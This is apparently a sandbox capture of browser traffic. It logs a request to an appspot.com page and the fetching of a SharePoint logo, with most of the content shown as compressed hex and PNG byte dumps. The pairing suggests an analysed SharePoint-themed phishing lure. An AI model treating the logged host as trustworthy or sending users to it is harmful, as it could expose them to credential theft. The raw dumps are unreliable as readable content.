2025-01-15 14:11:53 UTC	707	OUT	GET / HTTP/1.1 Host: guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:11:53 UTC	387	IN	HTTP/1.1 200 OK X-Cloud-Trace-Context: c6cf240d3dad98884848ff8ee66b76db Content-Encoding: gzip Server: Google Frontend Content-Length: 8567 Date: Wed, 15 Jan 2025 14:05:40 GMT Expires: Wed, 15 Jan 2025 14:15:40 GMT Cache-Control: public, max-age=600 Age: 373 ETag: "lLH3ng" Content-Type: text/html Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-15 14:11:53 UTC	1003	IN	Data Raw: 1f 8b 08 00 00 00 00 00 02 ff ec 3d 6b 73 e2 b8 b2 df f3 2b 7c 33 35 35 33 3b 01 0c 04 c2 63 67 6b 49 42 08 33 81 04 12 f2 e0 d4 d6 29 63 1b 70 f0 83 b5 4d 08 a4 f8 41 f7 6f dc 5f 76 5b 4f cb 0f 32 9e 99 3d 67 f7 9c 05 2a c4 96 5a 2d 75 ab d5 ea 6e c9 d6 de cf ff 73 7a 79 72 f3 70 d5 94 a6 be 65 fe b2 f7 33 fa 27 a9 a6 e2 79 9f f6 f7 25 cd 70 3f ed 9b be bb 2f 99 8a 3d f9 b4 af db fb 08 46 57 34 f8 67 e9 be 22 a9 53 c5 f5 74 ff d3 fe c2 1f 67 2a fb 39 9e ee d8 be 6e 43 7a bb f9 49 d7 26 fa 3e 54 e0 cf 33 fa ef 0b e3 e9 d3 fe 7d 66 d0 c8 9c 38 d6 5c f1 8d 91 a9 27 14 5b 1a 9a 3f fd a4 e9 4f 86 aa 67 f0 cd 81 64 d8 86 6f 28 66 c6 53 15 53 ff 94 cf ca 07 92 a5 3c 1b d6 c2 a2 49 05 94 b4 f0 74 17 df 2b 80 f9 d3 4a f7 f6 25 5b b1 f4 4f fb 4f 86 be 9c 3b ae 1f Data Ascii: =ks+\|3553;cgkIB3)cpMAo_v[O2=gZ-unszyrpe3'y%p?/=FW4g"Stg9nCzI&>T3}f8\'[?Ogdo(fSS<It+J%[OO;
2025-01-15 14:11:53 UTC	1390	IN	Data Raw: f7 58 0e b2 d5 e2 51 c9 d5 ad 3a 52 30 99 29 01 c9 67 0b 38 8d 8e 4a 18 6e a0 68 ac 5a b6 50 38 02 69 64 a9 be 33 67 49 31 75 f6 66 3c 1e 83 9a 23 4a e9 8d aa aa 75 ac 74 34 5d 75 5c c5 37 1c 9b 68 1d a5 06 d5 ce 18 98 2c 97 8f 46 15 18 1d 4f 06 d2 cd 5a 2c 9d 68 43 8a b4 5c 2e f3 81 44 93 38 02 a2 3f 59 f9 6a b5 ba f9 95 8a b9 aa 87 54 fb bb a8 c0 bf ab 7b ae 5a 33 1d 18 3f ef f9 68 d8 ff b0 85 83 68 c2 00 4a 90 7c ff 58 0d d2 b5 6e 19 30 08 b4 48 55 65 de 59 62 55 59 d7 59 32 ad 86 af 89 62 a3 33 6d 6d 5f da af 6b 86 37 07 49 ac f9 68 ba de 88 40 26 e8 70 50 a8 fe 74 93 05 b6 65 9e bd 4c e1 f0 00 5f 5a 1a 5c be cc 1d 60 3e ea 21 17 c6 0c 9a 86 ea 96 61 73 c9 10 fa df d4 c7 7e 0d a9 27 26 10 2e 96 2f 48 11 30 bf 8c 4d 47 f1 6b 08 56 4c c5 a6 07 9e 38 37 Data Ascii: XQ:R0)g8JnhZP8id3gI1uf<#Jut4]u\7h,FOZ,hC\.D8?YjT{Z3?hhJ\|Xn0HUeYbUYY2b3mm_k7Ih@&pPteL_Z\`>!as~'&./H0MGkVL87
2025-01-15 14:11:53 UTC	1390	IN	Data Raw: 1f 8e 48 19 41 98 6e e1 eb 75 3a d7 52 1e 87 88 e3 d6 3d 0a 45 43 04 b5 be 86 95 2c 58 bc ac 55 ab 75 95 47 50 c5 c8 68 01 62 96 ac ae ec 54 f1 32 01 a5 22 77 14 73 a9 ac 90 e5 86 d1 7e c5 00 2c 7f d8 20 cb 89 10 d0 75 34 9d 2f 21 d6 49 44 14 1b 44 ac 56 1c fd 04 d7 86 c2 67 c0 bb b1 04 a3 0c f9 4b a1 28 3f 6a 71 92 13 c4 c6 4b c8 f3 12 87 0d 2a 17 1a 35 02 e9 49 8d c8 6a fa 68 31 21 ed c1 6e 58 64 19 00 3a 02 96 be 60 75 19 05 43 60 b5 0f ac cb 70 43 51 cb 23 ae 18 88 23 89 c9 13 83 14 8d 73 1c e1 a7 8b 1c 10 37 7f 8d 2d a9 3b e8 80 31 93 c6 d6 d9 2d e2 ad 40 56 6a 7c 4c 9b e2 28 23 98 2e 20 97 8c dd 38 52 1f f8 b1 5c 4a 85 71 26 0c bf 4d 96 ac eb 85 8b 67 54 f0 46 a3 ac a2 0b 80 59 0f 56 03 41 8a d1 e2 29 95 a3 57 b5 20 1f 2f c1 3a 00 57 b4 87 87 32 30 Data Ascii: HAnu:R=EC,XUuGPhbT2"ws~, u4/!IDDVgK(?jqK*5Ijh1!nXd:`uC`pCQ##s7-;1-@Vj\|L(#. 8R\Jq&MgTFYVA)W /:W20
2025-01-15 14:11:53 UTC	1390	IN	Data Raw: 9c e8 26 46 18 cd a6 73 fc 88 0a 8b ee a5 8a 21 84 3b 2c be 93 8f 8a 58 68 10 85 37 d0 c5 30 50 33 1b a7 8b 7b 38 93 51 41 18 c3 f0 4d 3d 64 7b e5 b3 64 73 3c 93 2e 3a 47 14 b2 c5 72 11 39 be 2c 1d 4d 9c 3c 91 72 8f 2e 98 e1 a8 34 09 52 67 f1 a6 fa 48 98 9a e1 80 88 9a a0 8a 13 4c 44 6c 4a d1 5d ec f8 b1 a4 60 7b fa ee b1 8c ff c8 c7 32 36 d9 b9 02 4b 8f 64 7f 07 da cb 13 d8 56 2c e6 1e 03 c1 b3 05 f3 13 60 8d 09 fb 1d 42 3c 26 7f 04 16 c9 26 0b 4f fe 4c 7d 34 db e2 35 b0 f8 9c 82 fd 89 60 eb 08 5f de ca e4 99 fd 86 22 fa c2 7a 43 c2 c2 04 b1 16 e9 22 1a d6 09 e4 b9 01 58 3c 94 b2 25 4f a2 0b e8 75 d8 6d f3 5a 2e 5a d0 7e 2d 5f 74 96 13 2b 00 1e b9 ce 13 f0 24 13 f0 41 74 75 60 06 e6 0f 19 20 9f 7c 0a bc c1 33 a1 0b 0f 04 7e 78 21 66 66 72 a0 2b 06 ce 1e Data Ascii: &Fs!;,Xh70P3{8QAM=d{ds<.:Gr9,M<r.4RgHLDlJ]`{26KdV,`B<&&OL}45`_"zC"X<%OumZ.Z~-_t+$Atu` \|3~x!ffr+
2025-01-15 14:11:53 UTC	1390	IN	Data Raw: 13 25 c1 a7 dc 90 1b 8d ce a1 03 97 cb 0e 94 c0 9f d6 a4 d5 68 9c 14 ba 00 db 3e 61 e5 4f 9d 06 dc 9f 3f 02 fc f1 e4 21 28 8f ae 86 a8 58 af c9 ca 9f 4c e0 ea 74 d1 83 9a 51 9d 8d 36 fa 81 0f 6a 49 af c1 8a 92 3c 9c 91 f4 73 9a cb e5 2a 8d a3 32 2a 74 52 ca 2d 1b 8d 85 5d 69 b4 cd d3 55 12 74 8a 34 a3 9d ee 8b 38 74 da 59 a7 fb a6 c4 69 60 16 a4 c4 d9 59 a5 c5 8a a8 4e d7 4e 80 4a 47 bd d1 de d1 bf eb ff 9d fc a7 1c ab 69 47 ea 6e fc 83 aa 4a c9 d3 9d fe 4b 2b 55 3b fd bf 9b ff 76 f3 7f 4a 0e ec ec 9f 74 1c d8 d9 7f 3b fb 6f 67 ff a5 b4 55 d2 ce d4 3b fb 6f 67 ff ed ec df 94 33 f5 2e fe 91 6e a6 36 76 f6 ff 9f 6d ff a3 1e d8 7d fe be 1c b8 4d f9 19 00 8b 8e 9b fd 74 df b3 94 48 6f 11 df 53 e2 6c f6 d3 22 45 01 f7 74 ed 04 a8 b4 48 77 f4 ef fa 7f 27 ff 29 Data Ascii: %h>aO?!(XLtQ6jI<s2tR-]iUt48tYi`YNNJGiGnJK+U;vJt;ogU;og3.n6vm}MtHoSl"EtHw')
2025-01-15 14:11:53 UTC	1390	IN	Data Raw: 62 0d 08 8a 03 87 e2 b8 07 ec a2 a6 8c a1 cb 00 21 ed 13 57 d1 8c 85 57 93 4a 70 6c 2e 63 64 5e d6 ad 80 8f e4 0e 51 45 50 41 59 c6 54 c4 12 ca d9 40 46 c8 a9 e4 89 fd 88 85 0e 8e 72 05 d1 ac 49 99 2a 7c 50 45 b4 25 e8 5c 5e 49 ce 96 74 4b f2 1c 38 36 44 c2 67 66 17 4a a5 03 e8 59 f6 23 67 0f 3f f0 12 f8 ed f0 df 58 86 c9 e0 37 55 44 ba 57 2c f2 46 2e 56 8a 95 a3 fa 1e 3b 0c 02 8f ba b1 e3 5a 35 32 00 41 74 f5 e1 7b 19 1a 8b 8e 02 d8 9e bb 3d 87 61 e6 a7 a1 d4 24 d4 01 15 29 9f 2d 7b 92 61 8f 0d db f0 75 09 14 81 ae c0 18 4c 09 06 fd 98 70 64 07 41 fc b2 27 bf 85 de 65 15 0b 4d 73 1d 1f e8 79 2f 6b fa 04 28 da 9a b1 d9 3b fa 0a 86 7c 65 2b 0e 9e b5 d9 43 87 38 bf da 90 62 79 2b 1a 9e b5 41 23 51 38 7a e5 bf 95 46 7e 40 81 30 e1 90 91 7a 8c 27 22 36 3d 05 Data Ascii: b!WWJpl.cd^QEPAYT@FrI*\|PE%\^ItK86DgfJY#g?X7UDW,F.V;Z52At{=a$)-{auLpdA'eMsy/k(;\|e+C8by+A#Q8zF~@0z'"6=
2025-01-15 14:11:53 UTC	614	IN	Data Raw: e7 bd 8a dd ac fc 7e 53 ed 97 2f 86 67 17 fa 83 fc fc 70 6e 3f 59 e5 6a 2b 3f cd 75 1f ad fb cf f3 c7 bb c5 ec ba a5 1c 0e 5b ed f5 60 de fe 78 52 7c 7a 80 68 cc c7 93 72 77 51 be b7 ce 73 f7 cb c7 f9 50 ad b6 4b d6 6c b9 2e 7f a9 18 7d ff be 63 c2 ed 72 25 df 7c 19 de e6 86 d3 71 6e 36 d4 ca 93 aa 5c 54 66 cf 9f 57 dd 42 e5 72 59 5c 5d df 68 5f 7a f2 f5 6a a8 3c ce fb ab 2f e3 f5 95 9b 5f 76 5b 45 75 3d 78 2c f9 f9 e7 72 2b 77 33 9a 5e 7f 31 3b c3 df 8d be ba 98 ce 8a e5 d2 73 3b 57 58 3e 96 95 ee 47 79 f5 71 58 28 f5 ab 95 8b de dd 79 a5 a7 f7 bc 25 0a 1f 3f e7 66 b9 9b e7 67 08 05 c3 a7 69 9e dd cc ae 17 3d eb e4 e4 dd 07 70 7c 90 c7 97 01 4f 8b f9 1e 60 0f d5 25 89 79 36 60 1e 3d 4d eb 12 b3 c2 91 b7 20 85 3d 2e 89 3a 3a 60 1c e3 cc 27 dd 1d 9b ce b2 Data Ascii: ~S/gpn?Yj+?u[`xR\|zhrwQsPKl.}cr%\|qn6\TfWBrY\]h_zj</_v[Eu=x,r+w3^1;s;WX>GyqX(y%?fgi=p\|O`%y6`=M =.::`'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49732	185.15.59.240	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:11:54 UTC	785	OUT	GET /wikipedia/commons/thumb/e/e1/Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg/1200px-Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg.png HTTP/1.1 Host: upload.wikimedia.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:11:54 UTC	1096	IN	HTTP/1.1 200 OK content-type: image/png content-disposition: inline;filename=UTF-8''Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg.png last-modified: Mon, 15 Jul 2024 08:36:41 GMT content-length: 69481 date: Wed, 15 Jan 2025 12:56:30 GMT server: envoy etag: 54cebb5e1827d5f83b2d6449d429772f age: 4523 x-cache: cp3075 hit, cp3075 hit/4 x-cache-status: hit-front server-timing: cache;desc="hit-front", host;desc="cp3075" strict-transport-security: max-age=106384710; includeSubDomains; preload report-to: { "group": "wm_nel", "max_age": 604800, "endpoints": [{ "url": "https://intake-logging.wikimedia.org/v1/events?stream=w3c.reportingapi.network_error&schema_uri=/w3c/reportingapi/network_error/1.0.0" }] } nel: { "report_to": "wm_nel", "max_age": 604800, "failure_fraction": 0.05, "success_fraction": 0.0} x-client-ip: 8.46.123.189 x-content-type-options: nosniff access-control-allow-origin: access-control-expose-headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache timing-allow-origin: * accept-ranges: bytes connection: close
2025-01-15 14:11:54 UTC	13802	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b0 00 00 04 95 08 06 00 00 00 bc 40 27 4a 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 07 74 49 4d 45 07 e8 07 0f 08 24 28 16 ce e7 ed 00 00 80 00 49 44 41 54 78 da ec dd 77 bc 1d 55 bd ff ff f7 9a d9 7b 9f de 53 4f 7a 81 24 84 de 05 2c 34 0b 45 94 26 2a 55 31 48 0a 49 bc de eb f7 7a 8b e7 eb fd fe bc ea e5 12 48 28 26 a1 05 50 11 b0 51 54 9a a2 58 a8 22 20 bd 43 20 09 90 de 4e ce d9 7b d6 ef 8f 00 52 4e 72 f6 39 67 cf cc 9a 99 d7 f3 f1 f0 a1 52 f6 99 79 ef 99 35 6b 7d 32 eb 73 8c 00 00 00 b0 7d ff f2 2f Data Ascii: PNGIHDR@'JgAMAa cHRMz&u0`:pQ<bKGDtIME$(IDATxwU{SOz$,4E&*U1HIzH(&PQTX" C N{RNr9gRy5k}2s}/
2025-01-15 14:11:54 UTC	15296	IN	Data Raw: b7 a8 b8 65 b3 4a 5b ba 7a 1a 67 29 60 01 19 91 9c 02 16 85 ab c8 4e 81 3e 57 19 bf 08 58 6b f5 92 0f 01 85 7f 0d 51 b8 4a f2 01 f0 d6 15 83 29 90 44 7e 3e af 5c 4d ad 72 d5 d5 ca 55 55 2b 57 53 2d bf aa 5a c6 f3 08 27 8e ef 23 97 97 9f cb 2b 5f f7 be 91 35 08 54 da d2 a9 62 e7 7b fe e3 51 c1 02 b2 c1 fd 02 16 7d ae 22 3b 7c fa 5c 65 7c b1 c4 5a ab 8c 8c 08 29 fc eb 88 3e 57 49 3d 08 0a 57 0c a8 40 52 bc 53 ac aa ad 55 be a6 46 f9 9a 3a 79 79 7e 91 5d 12 18 cf db fa dd d5 d4 be fb 2f ef ad c5 4b 56 4b 7a 4c 32 0f 1a 05 0f 96 ac 1e 5c fe da 8b 4f a8 a3 23 20 35 20 3d dc 1e a9 79 eb 2a b2 c3 67 bb 60 86 2f 04 d6 59 65 64 44 48 e1 5f 47 bc 75 95 d4 03 a0 70 c5 80 0a b8 cc cb e7 94 af a9 53 be ae 4e f9 da 3a e5 6b 6a 64 7c 9f 60 d2 a7 59 d2 81 92 3d d0 ca c8 Data Ascii: eJ[zg)`N>WXkQJ)D~>\MrUU+WS-Z'#+_5Tb{Q}";\|\e\|Z)>WI=W@RSUF:yy~]/KVKzL2\O# 5 =y*g`/YedDH_GupSN:kjd\|`Y=
2025-01-15 14:11:54 UTC	15296	IN	Data Raw: 00 47 0f bb fc f2 c1 95 fa 3c 0a 58 15 99 9c b2 5d 30 c9 07 f0 e3 c7 9f e4 1e 08 59 6b 4d b5 2e f9 d4 c7 75 fb 17 3e a7 dd 86 0e 61 b0 c9 d4 50 42 9f ab 6d 7e c1 f4 b9 2a fb f0 d2 7d 3f 52 d5 07 00 00 a9 95 37 45 ff 0b 95 fa b0 6c 17 b0 28 5c 25 e4 14 6d a8 a7 f6 97 a5 af ea c5 b5 6b 19 5a 22 f0 b1 31 a3 f5 c0 97 4f d3 b5 9f fd b4 c6 36 35 65 70 c0 89 fc 32 8f f9 94 29 5c f5 f8 05 d3 e7 ca 81 e7 8d 0b f7 23 85 2b 00 00 90 01 46 14 b0 c2 9e bb 46 f0 01 ee e7 63 d3 79 10 ef ff 54 2b e9 ba 27 d8 46 18 dd f8 25 1d 3f 65 92 1e 3d eb 4b 9a 77 f8 a1 6a af af 57 a6 6f 26 fa 5c 85 9f bb 75 e8 38 e8 73 15 f3 3d e0 4a 9f 2b 0a 57 00 00 20 33 eb bf 7d 47 2c 5a b2 63 25 3e 2b 7b 05 2c de ba ea f7 1a 23 41 5f 52 9f 3f f5 8a 87 1f 55 60 59 50 44 a9 26 97 d3 ac 7d f6 d4 Data Ascii: G<X]0YkM.u>aPBm~*}?R7El(\%mkZ"1O65ep2)\#+FFcyT+'F%?e=KwjWo&\u8s=J+W 3}G,Zc%>+{,#A_R?U`YPD&}
2025-01-15 14:11:54 UTC	15296	IN	Data Raw: bb e5 e7 ba 79 cb a3 4a cb 76 41 0a 57 61 0f c7 76 41 20 6a 7e 36 ab ce 99 b3 d5 3a 79 aa 0e ed ed d6 c0 a1 5e 92 02 00 48 ae 82 60 83 9f 95 f3 f3 5e 78 b3 b2 3a 2c 5e 59 57 b6 0b da 92 de 82 c8 63 28 e3 74 88 25 8e 44 63 01 f0 52 ff f0 eb bb f5 f9 75 1b 54 f5 aa ab d0 8a 46 49 17 af 42 7a 31 55 0f 13 f2 76 41 9b e8 1b 5b c5 90 11 de 2c ca 1a 9a 1b 16 e2 91 c9 e5 34 e5 e4 b9 9a 71 fa 59 ca 35 35 93 10 00 40 ec 8c cc d3 5d ab ae 7d ac 9c 3f 13 42 01 ab 84 c2 55 ea e6 63 d6 81 26 ed 2f 49 ac 2b ab ae 28 5c 01 18 c5 ff 77 ef 5a 7d e8 17 bf ac fc 43 e9 58 e1 2a 1d 4d da 43 be 48 d6 6c e1 2a c2 9b 68 d9 85 2b 6e 5a 88 5f ae a9 59 33 4e 3f 4b 93 4f 3e 45 7e 26 4b 42 00 00 f1 31 f6 27 e5 fe 91 2a b6 10 b2 5d 30 d1 38 12 cf 31 7d ae 00 4c ec 1f ef be 57 1f f8 f9 Data Ascii: yJvAWavA j~6:y^H`^x:,^YWc(t%DcRuTFIBz1UvA[,4qY55@]}?BUc&/I+(\wZ}CXMCHlh+nZ_Y3N?KO>E~&KB1'*]081}LW
2025-01-15 14:11:54 UTC	9791	IN	Data Raw: 69 a4 00 00 e0 02 9b 1f 99 4a 16 50 93 3c ef 68 c3 f6 98 7a 5e 79 b9 9c b2 d3 a6 d7 d4 8a 26 0a 58 40 32 d8 42 88 18 3c 65 ad fd cb ae 1b af f9 01 a9 40 e4 73 20 52 00 00 48 da ab ef d8 dc 5a 1c 1e 6e 22 13 a8 35 26 9b 55 76 f2 94 d8 8a 57 7e 73 8b 72 d3 67 d4 dc 76 3c 0a 58 40 32 fc 0c 05 2c 44 e6 a0 ac 3e d0 3c 78 68 5e 37 c5 2b c4 84 d9 04 00 20 71 47 0e 75 9d 16 0c 0d 91 08 d4 14 af b9 59 99 b6 f6 98 0e 66 94 ed e8 94 df da 56 9b b9 62 1b 13 90 cc c3 5e 8e cf 1e 42 97 37 32 5f 2d 14 f4 a1 3d ef 58 be 97 74 20 d6 6b 1a 29 00 00 24 3e 13 ea da 75 9a 2d 16 49 04 6a 83 67 94 69 ef 88 af 59 7b 36 ab dc 94 a9 b5 d1 ac 7d b4 f8 33 59 c9 18 ce 1b 20 89 cb 95 cf e3 1e 42 64 ed cd 46 e6 2f 77 dd b8 fc 09 92 81 24 70 45 03 00 24 2e 1f 0c 9f a4 80 02 16 6a e0 61 Data Ascii: iJP<hz^y&X@2B<e@s RHZn"5&UvW~srgv<X@2,D><xh^7+ qGuYfVb^B72_-=Xt k)$>u-IjgiY{6}3Y BdF/w$pE$.ja

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49738	185.15.59.240	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:11:55 UTC	501	OUT	GET /wikipedia/commons/thumb/e/e1/Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg/1200px-Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg.png HTTP/1.1 Host: upload.wikimedia.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:11:55 UTC	1096	IN	HTTP/1.1 200 OK content-type: image/png content-disposition: inline;filename=UTF-8''Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg.png last-modified: Mon, 15 Jul 2024 08:36:41 GMT content-length: 69481 date: Wed, 15 Jan 2025 12:56:30 GMT server: envoy etag: 54cebb5e1827d5f83b2d6449d429772f age: 4524 x-cache: cp3075 hit, cp3075 hit/5 x-cache-status: hit-front server-timing: cache;desc="hit-front", host;desc="cp3075" strict-transport-security: max-age=106384710; includeSubDomains; preload report-to: { "group": "wm_nel", "max_age": 604800, "endpoints": [{ "url": "https://intake-logging.wikimedia.org/v1/events?stream=w3c.reportingapi.network_error&schema_uri=/w3c/reportingapi/network_error/1.0.0" }] } nel: { "report_to": "wm_nel", "max_age": 604800, "failure_fraction": 0.05, "success_fraction": 0.0} x-client-ip: 8.46.123.189 x-content-type-options: nosniff access-control-allow-origin: access-control-expose-headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache timing-allow-origin: * accept-ranges: bytes connection: close
2025-01-15 14:11:55 UTC	13802	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b0 00 00 04 95 08 06 00 00 00 bc 40 27 4a 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 07 74 49 4d 45 07 e8 07 0f 08 24 28 16 ce e7 ed 00 00 80 00 49 44 41 54 78 da ec dd 77 bc 1d 55 bd ff ff f7 9a d9 7b 9f de 53 4f 7a 81 24 84 de 05 2c 34 0b 45 94 26 2a 55 31 48 0a 49 bc de eb f7 7a 8b e7 eb fd fe bc ea e5 12 48 28 26 a1 05 50 11 b0 51 54 9a a2 58 a8 22 20 bd 43 20 09 90 de 4e ce d9 7b d6 ef 8f 00 52 4e 72 f6 39 67 cf cc 9a 99 d7 f3 f1 f0 a1 52 f6 99 79 ef 99 35 6b 7d 32 eb 73 8c 00 00 00 b0 7d ff f2 2f Data Ascii: PNGIHDR@'JgAMAa cHRMz&u0`:pQ<bKGDtIME$(IDATxwU{SOz$,4E&*U1HIzH(&PQTX" C N{RNr9gRy5k}2s}/
2025-01-15 14:11:55 UTC	15296	IN	Data Raw: b7 a8 b8 65 b3 4a 5b ba 7a 1a 67 29 60 01 19 91 9c 02 16 85 ab c8 4e 81 3e 57 19 bf 08 58 6b f5 92 0f 01 85 7f 0d 51 b8 4a f2 01 f0 d6 15 83 29 90 44 7e 3e af 5c 4d ad 72 d5 d5 ca 55 55 2b 57 53 2d bf aa 5a c6 f3 08 27 8e ef 23 97 97 9f cb 2b 5f f7 be 91 35 08 54 da d2 a9 62 e7 7b fe e3 51 c1 02 b2 c1 fd 02 16 7d ae 22 3b 7c fa 5c 65 7c b1 c4 5a ab 8c 8c 08 29 fc eb 88 3e 57 49 3d 08 0a 57 0c a8 40 52 bc 53 ac aa ad 55 be a6 46 f9 9a 3a 79 79 7e 91 5d 12 18 cf db fa dd d5 d4 be fb 2f ef ad c5 4b 56 4b 7a 4c 32 0f 1a 05 0f 96 ac 1e 5c fe da 8b 4f a8 a3 23 20 35 20 3d dc 1e a9 79 eb 2a b2 c3 67 bb 60 86 2f 04 d6 59 65 64 44 48 e1 5f 47 bc 75 95 d4 03 a0 70 c5 80 0a b8 cc cb e7 94 af a9 53 be ae 4e f9 da 3a e5 6b 6a 64 7c 9f 60 d2 a7 59 d2 81 92 3d d0 ca c8 Data Ascii: eJ[zg)`N>WXkQJ)D~>\MrUU+WS-Z'#+_5Tb{Q}";\|\e\|Z)>WI=W@RSUF:yy~]/KVKzL2\O# 5 =y*g`/YedDH_GupSN:kjd\|`Y=
2025-01-15 14:11:55 UTC	15296	IN	Data Raw: 00 47 0f bb fc f2 c1 95 fa 3c 0a 58 15 99 9c b2 5d 30 c9 07 f0 e3 c7 9f e4 1e 08 59 6b 4d b5 2e f9 d4 c7 75 fb 17 3e a7 dd 86 0e 61 b0 c9 d4 50 42 9f ab 6d 7e c1 f4 b9 2a fb f0 d2 7d 3f 52 d5 07 00 00 a9 95 37 45 ff 0b 95 fa b0 6c 17 b0 28 5c 25 e4 14 6d a8 a7 f6 97 a5 af ea c5 b5 6b 19 5a 22 f0 b1 31 a3 f5 c0 97 4f d3 b5 9f fd b4 c6 36 35 65 70 c0 89 fc 32 8f f9 94 29 5c f5 f8 05 d3 e7 ca 81 e7 8d 0b f7 23 85 2b 00 00 90 01 46 14 b0 c2 9e bb 46 f0 01 ee e7 63 d3 79 10 ef ff 54 2b e9 ba 27 d8 46 18 dd f8 25 1d 3f 65 92 1e 3d eb 4b 9a 77 f8 a1 6a af af 57 a6 6f 26 fa 5c 85 9f bb 75 e8 38 e8 73 15 f3 3d e0 4a 9f 2b 0a 57 00 00 20 33 eb bf 7d 47 2c 5a b2 63 25 3e 2b 7b 05 2c de ba ea f7 1a 23 41 5f 52 9f 3f f5 8a 87 1f 55 60 59 50 44 a9 26 97 d3 ac 7d f6 d4 Data Ascii: G<X]0YkM.u>aPBm~*}?R7El(\%mkZ"1O65ep2)\#+FFcyT+'F%?e=KwjWo&\u8s=J+W 3}G,Zc%>+{,#A_R?U`YPD&}
2025-01-15 14:11:55 UTC	15296	IN	Data Raw: bb e5 e7 ba 79 cb a3 4a cb 76 41 0a 57 61 0f c7 76 41 20 6a 7e 36 ab ce 99 b3 d5 3a 79 aa 0e ed ed d6 c0 a1 5e 92 02 00 48 ae 82 60 83 9f 95 f3 f3 5e 78 b3 b2 3a 2c 5e 59 57 b6 0b da 92 de 82 c8 63 28 e3 74 88 25 8e 44 63 01 f0 52 ff f0 eb bb f5 f9 75 1b 54 f5 aa ab d0 8a 46 49 17 af 42 7a 31 55 0f 13 f2 76 41 9b e8 1b 5b c5 90 11 de 2c ca 1a 9a 1b 16 e2 91 c9 e5 34 e5 e4 b9 9a 71 fa 59 ca 35 35 93 10 00 40 ec 8c cc d3 5d ab ae 7d ac 9c 3f 13 42 01 ab 84 c2 55 ea e6 63 d6 81 26 ed 2f 49 ac 2b ab ae 28 5c 01 18 c5 ff 77 ef 5a 7d e8 17 bf ac fc 43 e9 58 e1 2a 1d 4d da 43 be 48 d6 6c e1 2a c2 9b 68 d9 85 2b 6e 5a 88 5f ae a9 59 33 4e 3f 4b 93 4f 3e 45 7e 26 4b 42 00 00 f1 31 f6 27 e5 fe 91 2a b6 10 b2 5d 30 d1 38 12 cf 31 7d ae 00 4c ec 1f ef be 57 1f f8 f9 Data Ascii: yJvAWavA j~6:y^H`^x:,^YWc(t%DcRuTFIBz1UvA[,4qY55@]}?BUc&/I+(\wZ}CXMCHlh+nZ_Y3N?KO>E~&KB1'*]081}LW
